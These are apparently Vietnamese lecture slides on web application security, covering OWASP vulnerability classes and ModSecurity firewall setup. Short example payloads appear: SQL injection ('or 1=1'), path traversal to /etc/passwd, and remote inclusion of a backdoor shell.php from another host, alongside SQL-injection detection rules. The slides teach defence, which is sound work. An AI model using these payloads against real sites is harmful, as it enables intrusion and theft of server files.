Bài giảng An toàn mạng máy tính nâng cao: Chương 6

WEB APPLICATION SECURITY

Author: Nguyễn Trường Phú – Nguyễn Tuấn Anh

Date: 1-5-2015

ABOUT AUTHOR

•  Name: Nguyễn Tuấn Anh Nguyễn Trường Phú •  Class: 23CCAN04 •  Unit: An toàn ứng dụng

CONTENT

1.  Web application attack and defense 2.  Modsecurity (mod_sec)

Web Application attack and Defense

Web Application Security

Nền tảng Website phổ biến:

Web services: Languages: Databases:

Client – Side

•  HTML + CSS / HTML5 + CSS3 •  Javascript / Jquery

+

Server - Side

IIS

•  MySQL •  MariaDB •  MongoDB •  MemSQL •  Access •  SQLserver •  MSSQL •  ……..

•  Apache (httpd) •  Nginx •  •  Apache Tomcat •  PHP •  ASPX (ASP.NET) •  JSP + Servlet (JAVA)

Web Application Security

1 Website có thể bị tấn công như thế nào?

•  Thông qua Lổ hổng Web Application

•  Thông qua Authencation (Các hình thức tấn công vào mật khẩu, giao thức mã hoá, hình thức chứng thực,…) •  Thông qua Session, Transport,…. (Các hình thức tấn công qua bảo mật đường truyền bao gồm cả MITM)

•  Thông qua Lổ hổng OS (Đặc biệt nhiều đối với Windows và khá ít đối với Linux) •  Thông qua Server Application/Software (Lổ hổng các service/software khác trên server: Mail, browser,adobe,java,…) •  Thông qua Mã độc hoặc Backdoor được thiết lập từ trước •  Thông qua các hình thức tấn công từ chối dịch vụ (DoS, DDoS, DRDoS, Spam, …..) •  Thông qua Crawler hoặc các kẻ hở trong configure và quản lý (lổ hổng phân quyền, lộ tập tin, đường dẫn nhạy cảm,…) •  Thông qua Tấn công vật lý •  Thông qua tâm lý con người (Social)

Web Application Security

Lổ hổng Web Application

10 quy chuẩn bảo mật và cũng là 10 phân nhóm lỗ hổng bảo mật ứng dụng web theo OWASP 2010.

Injection (SQLi, LDAPi, OS command injection,…)

Insecure Direct Object References (Các lổ hổng trong tham chiếu)

Insufficient Transport Layer Protection (Lổ hổng đường truyền)

1.  2.  Cross Site Scripting (XSS) 3.  Broken Authentication and Session Management (Nguy cơ về quản lý phiên/session) 4.  5.  Cross Site Request Forgery (CSRF) 6.  Security Misconfiguration (Lổ hổng trong cấu hình, triển khai dịch vụ web,…) Insecure Cryptographic Storage (Lổ hổng trong mã hoá dữ liệu nhạy cảm) 7.  8.  Failure to Restrict URL Access (Các lổ hổng quyền hạn truy cập url nhạy cảm) 9.  10.  Unvalidated Redirects and Forwards (Các lổ hổng chuyển hướng)

Web Application Security

Ví dụ về 1 số hình thức tấn công Web Application phổ biến:

•  SQL injection (SQLi) •  Cross Site Scripting (XSS) •  Local File Inclusion (LFI) •  Remote File Inclusion (RFI) •  Local File Discluse/Download (LFD) •  …..

Web Application Security

1. SQL injection

Định nghĩa:

SQL injection (SQLi) là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp

Web Application Security

1. SQL injection

Ví dụ:

Truy cập chuyên mục SQL trên ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl

è Câu truy vấn CSDL có dạng: “SELECT * FROM chuyenmuc WHERE tenchuyenmuc =“ + $page Trong đó có thể $page=$_GET(‘tenpage’)

Attacker cố tình truy vấn trên URL: http://ceh.vn /index.php?page=SQl or 1=1

è Câu truy vấn CSDL có dạng: SELECT * FROM chuyenmuc WHERE tenchuyenmuc=SQl or 1=1 Ta thấy vì 1=1 luôn đúng nên truy vấn trả lại tất cả những thông tin có trong bảng chuyenmuc ⇒  Thông tin bị khai thác => Lỗi. Attacker có thể thực hiện truy vấn phức tạp hơn, truy vấn các cột, trường, thông tin quan trọng hơn.

Web Application Security

2. XSS

Định nghĩa:

XSS xuất hiện khi một ứng dụng web cho phép người dùng nhập các dữ liệu vào mà không thông qua kiểm duyệt nội dung, những dữ liệu này sẽ tương tác trực tiếp với những người dùng khác cùng sử dụng website. Nguy cơ tạo ra là hacker có thể chèn các mã kịch bản như HTML, Javascript… (client side) nhằm ăn cắp SessionCookie, thay đổi giao diện (deface) hoặc chuyển hướng đến trang có mã độc khác.

Web Application Security

2. XSS

Định nghĩa:

Web Application Security

2. XSS

Ví dụ:

if(!empty($_GET['name'])) { $name=$_GET['name']; print $name; } else {

Code lây $name trực tiếp từ giá trị khung name và in ra thẳng: Khi attacker không truy vấn bình thường mà inject mã javascript vào khung name ó Truyền giá trị trực tiếp cho biến name: Lúc này được javascript được gán cho biến name và in ra Như một câu lệnh chứ không phải là 1 truy vấn bình thường ó đoạn javascript độc hại của attacker được thực thi

Web Application Security

3. LFI

Định nghĩa:

Lỗ hổng cho phép các attacker có thể truy vấn các tập tin nhạy cảm trên web server và đọc được Nội dung các tập tin đó. Ví dụ các tập tin nhạy cảm: /etc/passwd, /etc/ shadow, httpd.conf,……

Web Application Security

3. LFI

Ví dụ:

Truy cập chuyên mục SQL trên ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl

è Nếu code trang view có dạng:

$Bien=$_GET[‘page’]; Include $Bien; ?>

Attacker cố tình truy vấn trên URL: http://ceh.vn /index.php?page=../../../etc/passwd

è Lúc này trở thành giống như là ta code như sau:

$Bien=$_GET[‘page’]; Include ../../../etc/passwd; ?>

è Attacker có thể đọc được nội dung của tập tin passwd trong đường dẫn ../../etc/ trên server

Chú ý ../ là chuyển lên một thư mục trong Linux. Nếu server windows thì dung ..\ ó URL lencode = %5C

ngay chính tại trang view.

Web Application Security

3. RFI

Định nghĩa:

Cho phép attack gọi đến một file trên web server hoặc trên server khác ngay tại web server này. Ví dụ: http://ceh.vn/page?=http://www.vietnamnet.vn Nếu ceh.vn bị lỗi RFI thì nội dung trang vietnamnet.vn sẽ hiển hị trên ceh.vn Nếu attacker đặt backdoor trên vietnamnet.vn dạng: http://www.vietnamnet.vn/shell.php Tại ceh.vn attacker truy vấn: http://ceh.vn/page?=www.vietnamnet.vn/shell.php Thì nội dung backdoor shell.php sẽ được include vào source code của ceh.vn ó ta cắm backdoor trưc tiếp trên ceh.vn

Web Application Security

3. RFI

Ví dụ:

Code:

$test=$_GET['test']; include $test.'id=1'; ?>

Input: http://xx.xx.xx.xx/CEH/RFI/3test.php?test=http://ceh.vn/shell.txt

Và register_globals = off

Out:

Web Application Security

3. LFD

Định nghĩa:

Giống LFI nhưng thay vì attacker có thể đọc các file nhạy cảm thì ở đây attacker có thể Download các file nhạy cảm về máy

Web Application Security

3. LFD

Ví dụ:

Đoạn code sau:

Hàm readfile() cho phép chúng ta đọc code file được truyền vào . http://ceh.vn/CEH/3LFD/1lfd.php?test=/etc/passwd

Web Application Security

Phát hiện, kiểm tra các lổ hổng Web Application:

•  Ở vị trí attacker tấn công Opensource hoặc ở vị trị quản trị/chuyên gia an ninh kiểm thử Whitehat: Đọc source code, Debug Source code tìm lổ hổng. •  Tấn công CloseSource, Đa số, kiểm thử Blackbox: q  Sử dụng phương pháp thủ công Phương pháp Fuzzer vào các input (Nhập vào chuỗi ký tự ngẫu nhiên hoặc có mục địch nhằm xác định lổ hổng) Ví dụ: Thêm vào URL, khung Search, Login,… các câu truy vấn, thay đổi method, tiêm vô số ký tự,… q  Sử dụng phương pháp tự động Sử dụng các công cụ Scan, tìm kiếm lổ hổng Ví dụ: OpenSource: W3AF, Paros (Andiparos và Zed attack Proxy), Skipfish, Grabber, Zero Day Scan,… CloseSource: Acunetix, N-stalker, NeXpose, Retina, AppScan, ParosPro, ….

Web Application Security

Giải pháp Web Application Security:

•  An Toàn Source code: Fix lổ hổng trong source code. Đưa ra 1 số hàm lọc, Security phù hợp •  Authencation: Áp dụng các hình thức mã hoá, chứng thực phù hợp (Kể cả mã hoá đường

truyền (SSL, TLS,…))

•  Đảm bảo toàn vẹn dữ liệu •  Permission: Phân quyền tập tin source code web, tập tin quan trọng server, quản trị web,…

phù hợp

•  Nâng cao kiến thức quản trị viên, tâm lý con người. •  Thủ thuật riêng (Tuỳ kinh nghiệm mỗi quản trị viên): Giả lập patch web home, Giấu Configure

•  Sử dụng Web Application Firewall

file, tạo bẫy (honeypot), thiết lập php.ini phù hợp, lợi dụng mod rewirte, ……..

Web Application Security

Tại sao cần Web Application Firewall?

Nếu 1 Server chứa hàng trăm website è Việc Fix code từng website sẽ gây tốn kém tiền bạc, thời gian, Vô tình bỏ sót lổ hổng hoặc tạo phản ứng ngược nếu đội ngũ Fix Code trình độ yếu, cần một lớp gia cố Chắn chắn bên ngoài è Web Application Firewall: Nhanh, Tiết kiệm chi phí, công sức, hiệu quả lớn, nhiều tính năng mở rộng, Quản trị tập trung, …. Và còn nhiều lợi ích khác

Web Application Security

Tại sao dùng Web Application khi có Firewall thông thường?

Bởi vì ta cần những thứ firewall thông thường không có hoặc không được thiết kế với mục đích:

Hoạt động và bảo vệ mạnh mẽ Layer 7, chống các cuộc tấn công layer 7. Phân tích, lọc, kiểm duyệt, thậm chí sửa đổi mạnh mẽ không chỉ header mà còn cả Request body, Request Response, được thiết kế để phù hợp với từng ứng dụng web, từng hệ thống web, Buffer các request/response để đảm bảo phân tích toàn diện vào bảo vệ tốt ứng dụng trong thời gian Thực Một số sản phẩm WAF cung cấp nhiều tính năng mở rộng như: Kiểm soát Cookies, Fake port, Fake Comment, Fake Compoment, …….

Web Application Security

Sơ đồ triển khai hệ thống đề nghị (Chỉ đối với 1 hệ thống Web server)

User Database Server Web Server

Reverse Proxy ----- WAF (mod_sec)

Chú ý: WAF (Trong bài này là Mod_sec) và các luật chính của firewall tầng dưới sẽ triển khai tại Reverse Proxy. 1 Reverse Proxy có thể triển khai với nhiều Web Server. Tuỳ nhu cầu và điều kiện + Độ quan trọng Của DB mà triển khai Database riêng như mô hình hay để DB ngay tại Webserver còn Database triển Khai như một Server AD Backup hoặc gỡ bỏ để tiết kiệm chi phí.

Web Application Security

Một vài thắc mắc:

Tại sao triển khai WAF trên Reverse Proxy? è Để bảo toàn Web Server và các Server bên trong khi cuộc tấn công nặng nề. Attacker tiếp xúc trực Tiếp với reverse proxy. è Giảm thiểu tài nguyên tiêu tốn cho Web server vì các WAF cần 1 lượng tài nguyên không nhỏ. è  WAF cũng có thể kiểm soát tài nguyên tĩnh được Caching trên Reverse Proxy (HTML, CSS,…)

Một số lời khuyên:

Triển khai Reverse proxy với Nginx hoặc Apache (khuyên dùng Nginx vì độ chịu tải và caching) Có thể sử dụng Linux cho các server, Nếu sử dụng Linux cho các Server thì khuyên dùng firewall Application: modsecurity và Firewall tầng dưới dùng Iptables, lý do: Free, Mạnh mẽ, tuỳ biến mạnh, Modsecurity và Iptables có thể kết hợp với nhau hoàn hảo, Modsecurity có thể ra lệnh cho iptables Thực hiện các action khi cần thiết thông qua module hỗ trợ.

Web Application Security

ModSecurity

Web Application Security

Modsecurity

Modsecurity (mod_Sec) là gì?

•  Một Web Application Firewall (WAF)

•  Được triển khai như là một Module của các web service

•  Opensource, Có thể mở rộng và miễn phí chỉ trả tiền nếu muốn có dịch vụ hỗ trợ

Web Application Security

Modsecurity

Hoạt động ra sao?

Kiểm soát chặt chẽ hoạt động của web server trên layer 7. Ghi log. Hành động theo luật

Logging

Request Header Response Body

Web

Response Header Request Body

Web Application Security

Modsecurity

Hoạt động ra sao?

Modsecurity có thể kiểm soát request và reponse trong cả header và body, nếu phát hiện các dấu Hiệu tấn công theo rules, Mod_sec sẽ thực hiện hoạt động đã được định sẵn theo từng Rules và ghi Logs lại các hành động đó Ví dụ: Phát triện trong Url truy vấn có ký tự () thì lập tức DROP. Ngoài ra Mod_sec còn có thể tạo hoặc chỉnh sửa các Request và Reponse.

Web Application Security

Modsecurity

Triển khai Mod_sec (thực hiện triển khai trên Server Centos, Web service: apache)

Yêu cầu:

•  Apache 2.2x hoặc các phiên bản sau •  Libapr và Libapr-util •  Libpcre •  Liblua v1.5x hoặc các phiên bản sau này •  Module Mod_unique_id của apache phải được bật

Web Application Security

Modsecurity

Triển khai Mod_sec (thực hiện triển khai trên Server Centos, Web service: apache)

Cài đặt

•  Download source Mod_sec tại trang chủ •  Tạm dừng Apache •  Biên dịch và cài đặt Mod_sec •  Load module mod_sec trong file cấu hình apache

Lưu ý: trước khi biên dịch hãy cài trình biên dịch. Đối với Centos: yum groupinstall “Development Tools”

Web Application Security

Modsecurity

Triển khai Mod_sec (thực hiện triển khai trên Server Centos, Web service: apache)

Tạo tập tin config mod_sec ví dụ modsec.conf và include tập tin này trong file cấu hình apache Tạo tập tin chứa rules cho Mod_sec ví dụ rulesmod.conf Trong tập tin modsec.conf ta gõ:

SecRuleEngine On SeDefaultAction

“phase:1,deny,log,status:406,id:60008”

Include “/etc/httpd/conf.d/rulesmod.conf”

Khởi động Apache. Sẽ giải thích rõ từng dòng khi Demo.

Web Application Security

Modsecurity

Triển khai Mod_sec (thực hiện triển khai trên Server Centos, Web service: apache)

SecRuleEngine On SeDefaultAction

“phase:1,deny,log,status:406,id:60008”

Include “/etc/httpd/conf.d/rulesmod.conf”

Khởi động Apache. Sẽ giải thích rõ chức năng từng dòng khi Demo.

Web Application Security

Modsecurity

Lỗi thường gặp khi cài mod_sec và giải pháp (thực hiện triển khai trên Server Centos, Web service: apache)

mlogc.c:32:23: error: curl/curl.h: No such file or directory mlogc.c:2232: error: âCURL_GLOBAL_ALLâ undeclared (first use in this function) make[2]: * [mlogc-mlogc.o] Error 1 make[2]: Leaving directory `/usr/src/modsecurity- apache_2.6.0/mlogc' make[1]: * [all-recursive] Error 1 make[1]: Leaving directory `/usr/src/modsecurity- apache_2.6.0' make: *** [all] Error 2

Giải pháp: Cài curl và curl-devel sử dụng lệnh: yum install curl* Sau khi cài xong, xoá Makefile và biên dịch lại.

Web Application Security

Modsecurity

Cấu trúc Rules Mod_sec (thực hiện triển khai trên Server Centos, Web service: apache)

SecRule VARIABLES OPERATOR [ACTIONS]

Trong đó:

VARIABLE: (WHERE?) Vị trí So sánh OPERATOR : (HOW?) Dấu hiệu căn cứ để so sánh [ACTIONS]: (WHAT?) Xử lý ra sao

Web Application Security

Modsecurity

Ví dụ: (thực hiện triển khai trên Server Centos, Web service: apache)

SecRule ARGS kid SecRule ARGS|REQUEST_HEADERS:User-Agent kid SecRule HTTP_Referer “www\.google\.com” SecRule ARGS "union\s+select" "deny,msg:'SQL Injection'" SecRule ARGS "union\s+all\s+select" "deny,msg:'SQL Injection'" SecRule ARGS "drop\s+table" "deny,msg:'SQL Injection'" SecRule ARGS "select\s+*" "deny,msg:'SQL "

Web Application Security

Modsecurity

Các thành phân trong rule mod_sec: (thực hiện triển khai trên Server Centos, Web service: apache)

VARIABLE: (WHERE?) Vị trí So sánh

Web Application Security

Modsecurity

Các thành phân trong rule mod_sec: (thực hiện triển khai trên Server Centos, Web service: apache)

•  So sánh theo chuỗi thường •  So sánh theo toán tử Ví dụ so sánh toán tử: SecRule ARGS "!@rx ^CrazyKid$"

OPERATOR : (HOW?) Dấu hiệu căn cứ để so sánh

Web Application Security

Modsecurity

Các thành phân trong rule mod_sec: (thực hiện triển khai trên Server Centos, Web service: apache)

ModSecurity hỗ trợ 4 nhóm OPERATOR: • String–matching operators //so khớp string dùng toán tử • Numerical operators // So sánh số • Validation operators // Một vài toán tử đặc biệt so sánh các giá trị đặc biệt (XML, UTF-8,…) • Miscellaneous operators // Các toán tử lọc. Dùng so sánh lộ thông tin CC, lộ thông tin người dùng,….

Web Application Security

Modsecurity

Các thành phân trong rule mod_sec: (thực hiện triển khai trên Server Centos, Web service: apache)

[ACTIONS]: (WHAT?) Xử lý ra sao

ModSecurity chia các action thành 7 phân mục: • Disruptive actions • Flow actions • Metadata actions • Variable actions • Logging actions • Special actions • Miscellaneous Actions

Web Application Security

Modsecurity

Các thành phân trong rule mod_sec: (thực hiện triển khai trên Server Centos, Web service: apache)

Ví dụ Disruptive actions:

Nếu xử lý khi so khớp thông tin = True thì thực hiện:

-  + Allow (cho phép) +Block (khoá) +Deny (chặn và gửi phản hồi) +pass (cho qua luật tiếp theo) +Drop (Loại bỏ và không phản hồi) +Pause (Tạm dừng) …..

Web Application Security

Modsecurity

Câu hỏi đặt ra: Các quản trị viên không am hiểu Rules mod_sec có thể triển khai mod_sec một cách an toàn không?

Giải pháp trong trường hợp này: CORE RULE SET (CRS)

Hạn chế: Core rules set là tập hợp rules được viết cho đại đa số người dùng chứ không phải một Hệ thống cụ thể nào è Tính tuỳ biến, linh hoạt và bảo mật không đảm bảo bằng tự thiết kế rules

Web Application Security